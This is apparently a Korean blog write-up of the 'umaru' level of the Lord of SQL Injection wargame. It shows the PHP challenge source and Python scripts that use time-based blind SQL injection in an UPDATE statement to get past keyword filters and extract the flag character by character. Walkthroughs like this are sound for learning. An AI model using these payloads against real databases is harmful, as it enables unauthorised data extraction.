늘모자란, 개발 :: [LOS] umaru

늘모자란, 개발


<?php
  include "./config.php";
  login_chk();
  dbconnect();

  function reset_flag(){
    $new_flag = substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16);
    $chk = @mysql_fetch_array(mysql_query("select id from prob_umaru where id='{$_SESSION[los_id]}'"));
    if(!$chk[id]) mysql_query("insert into prob_umaru values('{$_SESSION[los_id]}','{$new_flag}')");
    else mysql_query("update prob_umaru set flag='{$new_flag}' where id='{$_SESSION[los_id]}'");
    echo "reset ok";
    highlight_file(__FILE__);
    exit();
  }

  if(!$_GET[flag]){ highlight_file(__FILE__); exit; }

  if(preg_match('/prob|_|\./i', $_GET[flag])) exit("No Hack ~_~");
  if(preg_match('/id|where|order|limit|,/i', $_GET[flag])) exit("HeHe");
  if(strlen($_GET[flag])>100) exit("HeHe");

  $realflag = @mysql_fetch_array(mysql_query("select flag from prob_umaru where id='{$_SESSION[los_id]}'"));

  @mysql_query("create temporary table prob_umaru_temp as select * from prob_umaru where id='{$_SESSION[los_id]}'");
  @mysql_query("update prob_umaru_temp set flag={$_GET[flag]}");

  $tempflag = @mysql_fetch_array(mysql_query("select flag from prob_umaru_temp"));
  if((!$realflag[flag]) || ($realflag[flag] != $tempflag[flag])) reset_flag();

  if($realflag[flag] === $_GET[flag]) solve("umaru");
?>


id where order limit, 뭐 쓸수있는게 없고 100자 넘어도 안된다
살살하다가 갑자기 살벌하게 튀어 나온 느낌이라 문제보고 좀 벙쪘는데 힘내서...

보면 reset_flag 가 실행되면 무조건 플래그가 리셋되는데 이걸 막아야된다.

reset_flag가 실행되는 시점은 단 한군데 뿐인데, 이 친구를 저지할 수 있는 시점이라고 하면 update prob_umaru... 밖에 없다. 여기서 고의로 에러를 발생시켜줘야한다. (소스상 처리가 되지 않은 PHP는 에러가 나면 반드시 죽기 때문이다)

그래서 flag에 처음엔 빈값을 넣음과 동시에 @t:=flag를 이용해 강제로 업데이트치고 패스해볼까 했는데 , 가 필터링되고 있었다. 하..
에러도 내면서 참일땐 비교도 해야 된다니  어려운일이 아닐 수가 없다. 일단 select 가 아닌 update에서의 sqli 이기 때문에 sleep 을 사용해야 되는건 맞는것 같고, 어떻게 if를 bypass할지 검색해보다가 그냥 실행만 되면 된다는거 같다. 그래서 사용을 xor 연산을 의미하는 ^ 를 사용하는데, 사실 다른 연산자는 안찾아봤지만 아마 시프트 연산도 가능할 것 같단 생각이다 "<<" 라던지.. 

우선 페이로드를 다 작성했는데 정말 16자리에서 끊어지는지 아닌지 확인하기 위해 다음과 같이 쿼리를 짰다

for j in range(1,200):
    start_time = time.time()
    data = "(select sleep(case when length(flag) like {} then '20' else '0' END)^(select '1' union select '2'))".format(j)
    data = requests.utils.quote(data)
    #print data

    r = requests.get(url+'?flag='+data,headers=headers)

    times = time.time() - start_time
    print j, times
    if times > 20:
        loop = j
        break

print loop


16에서 정확히 멈춘다. (네트워크가 불안해서 자꾸 이상한 값이 나와서 아예 큰 값을 줘버렸는데 적당히 판단들 하시길..)
이 코드를 조금만 수정해서 이제 페이로드를 따는데 진짜 골때리는 일이 벌어졌다

9자리쯤 캐치를 했는데 글쎄 100자리 제한에 걸리는것이다. 즉, like 로 비교를 걸었더니 플래그에 들어갈 string도 length 체크 대상에 들어가는것이다. 다시 말하면, payload를 16자를 뺀 83~4자안에서 끝내야 된다는것이다.... 아뿔싸가 아닐 수 없다. 어느 부분을 줄여야 하나... 8자 정도만 더 줄이면 되는데! 라고 적어놓고 보니 일일히 ' 를 해놨길래 다 뺐다. 아마 거의 자리수를 끝까지 이용하는 payload가 아닐까 싶다..

#!/usr/bin/env python
# -*- coding: utf8 -*-
   
import requests, time
  
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/umaru_.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"

loop = 0
pw = ''


for j in range(1,200):
    start_time = time.time()
    data = "(select sleep(case when length(flag) like {} then '20' else '0' END)^(select '1' union select '2'))".format(j)
    data = requests.utils.quote(data)
    #print data

    r = requests.get(url+'?flag='+data,headers=headers)

    times = time.time() - start_time
    print j, times
    if times > 20:
        loop = j
        break

print loop

for i in range(1,loop+1):
    for j in string:
        start_time = time.time()
        data = "(select sleep(case when flag like '{}{}%' then 2 else 0 END)^(select 1 union select 2))".format(pw,j)
        data = requests.utils.quote(data)
        #print data

        r = requests.get(url+'?flag='+data,headers=headers)

        times = time.time() - start_time
        print j, times
        if times > 2:
            pw = pw + str(j)
            print "[!] found",pw
            break
   
print pw



2017/06/28 15:39 2017/06/28 15:39